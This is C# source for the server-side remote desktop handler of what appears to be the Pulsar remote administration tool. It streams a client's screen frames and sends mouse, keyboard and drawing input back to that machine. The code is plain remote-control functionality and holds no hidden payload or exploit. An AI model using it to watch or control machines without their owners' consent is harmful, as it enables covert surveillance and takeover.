using Pulsar.Common.Enums; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Monitoring.RemoteDesktop; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; using Pulsar.Common.Video.Codecs; using Pulsar.Server.Networking; using System; using System.Diagnostics; using System.Drawing; using System.IO; using System.Threading; using System.Threading.Tasks; using System.Collections.Concurrent; namespace Pulsar.Server.Messages { /// /// Handles messages for the interaction with the remote desktop. /// public class RemoteDesktopHandler : MessageProcessorBase, IDisposable { /// /// States if the client is currently streaming desktop frames. /// public bool IsStarted { get; set; } /// /// Gets or sets whether the remote desktop is using buffered mode. /// public bool IsBufferedMode { get; set; } = true; /// /// Used in lock statements to synchronize access to between UI thread and thread pool. /// private readonly object _syncLock = new object(); /// /// Used in lock statements to synchronize access to between UI thread and thread pool. /// private readonly object _sizeLock = new object(); /// /// The local resolution, see . /// private Size _localResolution; /// /// The local resolution in width x height. It indicates to which resolution the received frame should be resized. /// /// /// This property is thread-safe. /// public Size LocalResolution { get { lock (_sizeLock) { return _localResolution; } } set { lock (_sizeLock) { _localResolution = value; } } } /// /// Represents the method that will handle display changes. /// /// The message processor which raised the event. /// All currently available displays. public delegate void DisplaysChangedEventHandler(object sender, int value); /// /// Raised when a display changed. /// /// /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// public event DisplaysChangedEventHandler DisplaysChanged; /// /// Reports changed displays. /// /// All currently available displays. private void OnDisplaysChanged(int value) { SynchronizationContext.Post(val => { var handler = DisplaysChanged; handler?.Invoke(this, (int)val); }, value); } /// /// The client which is associated with this remote desktop handler. /// private readonly Client _client; /// /// The video stream codec used to decode received frames. /// private UnsafeStreamCodec _codec; // buffer parameters private readonly int _initialFramesRequested = 20; // request 20 frames initially for 60 FPS private readonly int _defaultFrameRequestBatch = 15; // request 15 frames at a time for sustained 60 FPS private int _pendingFrames = 0; private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1); private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch(); private readonly ConcurrentQueue _frameTimestamps = new ConcurrentQueue(); private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames private readonly Stopwatch _performanceMonitor = new Stopwatch(); private int _framesReceived = 0; private double _estimatedFps = 0; private long _accumulatedFrameBytes = 0; private int _frameBytesSamples = 0; private long _lastFrameBytes = 0; /// /// Size in bytes of the most recently received compressed frame. /// public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes); /// /// Average compressed frame size in bytes across the current streaming session. /// public double AverageFrameSizeBytes { get { long total = Interlocked.Read(ref _accumulatedFrameBytes); int count = Volatile.Read(ref _frameBytesSamples); return count > 0 ? (double)total / count : 0.0; } } /// /// Stores the last FPS reported by the client. /// private float _lastReportedFps = -1f; /// /// Shows the last FPS reported by the client, or estimated FPS if not available. /// public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps; /// /// Initializes a new instance of the class using the given client. /// /// The associated client. public RemoteDesktopHandler(Client client) : base(true) { _client = client; _performanceMonitor.Start(); } /// public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); /// public override void Execute(ISender sender, IMessage message) { switch (message) { case GetDesktopResponse d: Execute(sender, d); break; case GetMonitorsResponse m: Execute(sender, m); break; } } private void ClearTimeStamps() { while (_frameTimestamps.TryDequeue(out _)) { } } /// /// Begins receiving frames from the client using the specified quality and display. /// /// The quality of the remote desktop frames. /// The display to receive frames from. /// Whether to use GPU for screen capture. public void BeginReceiveFrames(int quality, int display, bool useGPU) { lock (_syncLock) { IsStarted = true; _codec?.Dispose(); _codec = null; // Reset buffering counters _pendingFrames = _initialFramesRequested; ClearTimeStamps(); _framesReceived = 0; _frameReceiptStopwatch.Restart(); // Start in buffered mode _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display, Status = RemoteDesktopStatus.Start, UseGPU = useGPU, IsBufferedMode = IsBufferedMode, FramesRequested = _initialFramesRequested }); } } /// /// Ends receiving frames from the client. /// public void EndReceiveFrames() { lock (_syncLock) { IsStarted = false; } Debug.WriteLine("Remote desktop session stopped"); _client.Send(new GetDesktop { Status = RemoteDesktopStatus.Stop }); } /// /// Refreshes the available displays of the client. /// public void RefreshDisplays() { Debug.WriteLine("Refreshing displays"); _client.Send(new GetMonitors()); } /// /// Sends a mouse event to the specified display of the client. /// /// The mouse action to send. /// Indicates whether it's a mousedown or mouseup event. /// The X-coordinate inside the . /// The Y-coordinate inside the . /// The display to execute the mouse event on. public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) { lock (_syncLock) { if (_codec == null) return; _client.Send(new DoMouseEvent { Action = mouseAction, IsMouseDown = isMouseDown, // calculate remote width & height X = x * _codec.Resolution.Width / LocalResolution.Width, Y = y * _codec.Resolution.Height / LocalResolution.Height, MonitorIndex = displayIndex }); } } /// /// Sends a keyboard event to the client. /// /// The pressed key. /// Indicates whether it's a keydown or keyup event. public void SendKeyboardEvent(byte keyCode, bool keyDown) { _client.Send(new DoKeyboardEvent { Key = keyCode, KeyDown = keyDown }); } /// /// Sends a drawing event to the client. /// /// The X coordinate. /// The Y coordinate. /// The previous X coordinate. /// The previous Y coordinate. /// The width of the stroke. /// The color in ARGB format. /// True if using eraser, false for drawing. /// True to clear all drawings. /// The display index to draw on. public void SendDrawingEvent(int x, int y, int prevX, int prevY, int strokeWidth, int colorArgb, bool isEraser, bool isClearAll, int displayIndex) { lock (_syncLock) { if (_codec == null || !IsStarted) return; int remoteX = x * _codec.Resolution.Width / LocalResolution.Width; int remoteY = y * _codec.Resolution.Height / LocalResolution.Height; int remotePrevX = prevX * _codec.Resolution.Width / LocalResolution.Width; int remotePrevY = prevY * _codec.Resolution.Height / LocalResolution.Height; _client.Send(new DoDrawingEvent { X = remoteX, Y = remoteY, PrevX = remotePrevX, PrevY = remotePrevY, StrokeWidth = strokeWidth, ColorArgb = colorArgb, IsEraser = isEraser, IsClearAll = isClearAll, MonitorIndex = displayIndex }); } } private async void Execute(ISender client, GetDesktopResponse message) { _framesReceived++; // Capture the FPS reported by the client if (message.FrameRate > 0 && message.FrameRate != _lastReportedFps) { _lastReportedFps = message.FrameRate; Debug.WriteLine($"Client-reported FPS updated: {_lastReportedFps}"); } if (_performanceMonitor.ElapsedMilliseconds >= 1000) { _estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0); Debug.WriteLine($"Estimated FPS: {_estimatedFps:F1}, Client-reported FPS: {(_lastReportedFps > 0 ? _lastReportedFps.ToString("F1") : "N/A")}, Frames received: {_framesReceived}"); _framesReceived = 0; _performanceMonitor.Restart(); } lock (_syncLock) { if (!IsStarted) return; if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) { _codec?.Dispose(); _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); } if (message.Image != null) { long size = message.Image.LongLength; Interlocked.Exchange(ref _lastFrameBytes, size); Interlocked.Add(ref _accumulatedFrameBytes, size); Interlocked.Increment(ref _frameBytesSamples); } using (var ms = new MemoryStream(message.Image)) { try { var decoded = _codec.DecodeData(ms); if (decoded != null) { EnsureLocalResolutionInitialized(decoded.Size); OnReport(decoded); } } catch (Exception ex) { Debug.WriteLine($"Error decoding frame: {ex.Message}"); } } message.Image = null; long serverTimestamp = Stopwatch.GetTimestamp(); _frameTimestamps.Enqueue(serverTimestamp); if (_framesReceived % _fpsCalculationWindow == 0) { double elapsedSeconds = _performanceMonitor.Elapsed.TotalSeconds; _estimatedFps = _framesReceived / elapsedSeconds; if (_framesReceived >= 100) { _framesReceived = 0; _performanceMonitor.Restart(); } } while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { } Interlocked.Decrement(ref _pendingFrames); } if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 8)) { await RequestMoreFramesAsync(); } } private void EnsureLocalResolutionInitialized(Size fallbackSize) { if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0) { return; } var current = LocalResolution; if (current.Width <= 0 || current.Height <= 0) { LocalResolution = fallbackSize; } } private async Task RequestMoreFramesAsync() { if (!await _frameRequestSemaphore.WaitAsync(10)) return; try { int batchSize = _defaultFrameRequestBatch; if (_estimatedFps > 40) batchSize = 20; else if (_estimatedFps > 30) batchSize = 15; else if (_estimatedFps > 20) batchSize = 10; else if (_estimatedFps > 10) batchSize = 5; else batchSize = 3; Debug.WriteLine($"Requesting {batchSize} more frames (estimated FPS: {_estimatedFps:F1})"); Interlocked.Add(ref _pendingFrames, batchSize); _client.Send(new GetDesktop { CreateNew = false, Quality = _codec?.ImageQuality ?? 75, DisplayIndex = _codec?.Monitor ?? 0, Status = RemoteDesktopStatus.Continue, IsBufferedMode = true, FramesRequested = batchSize }); } finally { _frameRequestSemaphore.Release(); } } private void Execute(ISender client, GetMonitorsResponse message) { OnDisplaysChanged(message.Number); } /// /// Disposes all managed and unmanaged resources associated with this message processor. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { lock (_syncLock) { _codec?.Dispose(); _frameRequestSemaphore?.Dispose(); IsStarted = false; } } } } }